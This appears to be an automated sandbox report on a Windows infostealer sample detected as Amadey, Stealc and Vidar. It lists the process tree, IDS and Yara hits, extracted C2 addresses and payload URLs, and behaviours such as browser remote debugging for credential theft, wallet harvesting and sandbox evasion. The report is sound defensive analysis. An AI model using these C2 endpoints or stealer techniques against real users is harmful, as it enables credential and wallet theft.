Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561616
MD5:	4bad8287c5a86eece84ae3eeef0e3ece
SHA1:	241ff4e835e0a51700838430a596e197259b3ee2
SHA256:	d605ba8b1c39b46eb25930d626732370bc4fbe2552a047fad1db96c2f7086d58
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7480 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 4BAD8287C5A86EECE84AE3EEEF0E3ECE)

chrome.exe (PID: 8092 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6764 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2164,i,5060476444642578106,13692182818548436054,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8672 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8964 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2148,i,2588520207502892506,14518438234925408781,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8964 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHIDHDAAEHI.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsHIDHDAAEHI.exe (PID: 8780 cmdline: "C:\Users\user\DocumentsHIDHDAAEHI.exe" MD5: E91BDD398E42904CBC56344331953C6A)

skotes.exe (PID: 1112 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: E91BDD398E42904CBC56344331953C6A)

msedge.exe (PID: 8988 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7804 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 3220 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6492 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8300 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6760 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 5848 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 7508 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 7432 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6860 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 1776 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: E91BDD398E42904CBC56344331953C6A)

skotes.exe (PID: 4144 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: E91BDD398E42904CBC56344331953C6A)

ca8a779a60.exe (PID: 2804 cmdline: "C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe" MD5: E4CE436577C61894061CB66D79FF104C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.2726494046.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000003.2726792987.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.2207422987.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.2820209054.0000000000391000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000003.3275164235.0000000005030000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000002.3464086926.0000000000391000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.2820491853.0000000000391000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.2779871985.0000000004A90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.2726149421.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.2726494046.0000000000C6C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000003.2779780612.0000000005010000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2769275250.0000000000581000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 7480	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7480	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7480	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7480	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
28.2.skotes.exe.390000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.DocumentsHIDHDAAEHI.exe.580000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
36.2.skotes.exe.390000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
29.2.skotes.exe.390000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7480, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 8092, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T00:06:20.806474+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49720	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T00:06:20.685627+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49720	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T00:06:21.144307+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49720	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T00:06:22.909854+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49720	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T00:06:21.476947+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49720	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T00:06:20.217993+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49720	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T00:08:06.940761+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50117	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T00:06:08.895471+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50125	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T00:08:11.981791+0100	2803305	3	Unknown Traffic	192.168.2.6	50129	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T00:06:23.950477+0100	2803304	3	Unknown Traffic	192.168.2.6	49720	185.215.113.206	80	TCP
2024-11-24T00:06:45.971211+0100	2803304	3	Unknown Traffic	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-24T00:06:48.027246+0100	2803304	3	Unknown Traffic	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-24T00:06:49.853440+0100	2803304	3	Unknown Traffic	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-24T00:06:51.147778+0100	2803304	3	Unknown Traffic	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-24T00:06:55.175844+0100	2803304	3	Unknown Traffic	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-24T00:06:56.293218+0100	2803304	3	Unknown Traffic	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-24T00:07:02.407780+0100	2803304	3	Unknown Traffic	192.168.2.6	49950	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpIc	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpQc	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dllN	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllhJ	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllP	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dll4J	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlly	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dllLJ	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dll2	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001B.00000003.2726792987.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000001.00000002.2726149421.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	ReversingLabs: Detection: 42%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C966C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

1_2_6C966C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.3:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.3:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.234.120.54:443 -> 192.168.2.6:50068 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50140 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.2782461428.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.2782461428.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49720 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49720 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49720
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49720 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49720
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49720 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50117 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50125

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 23:06:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 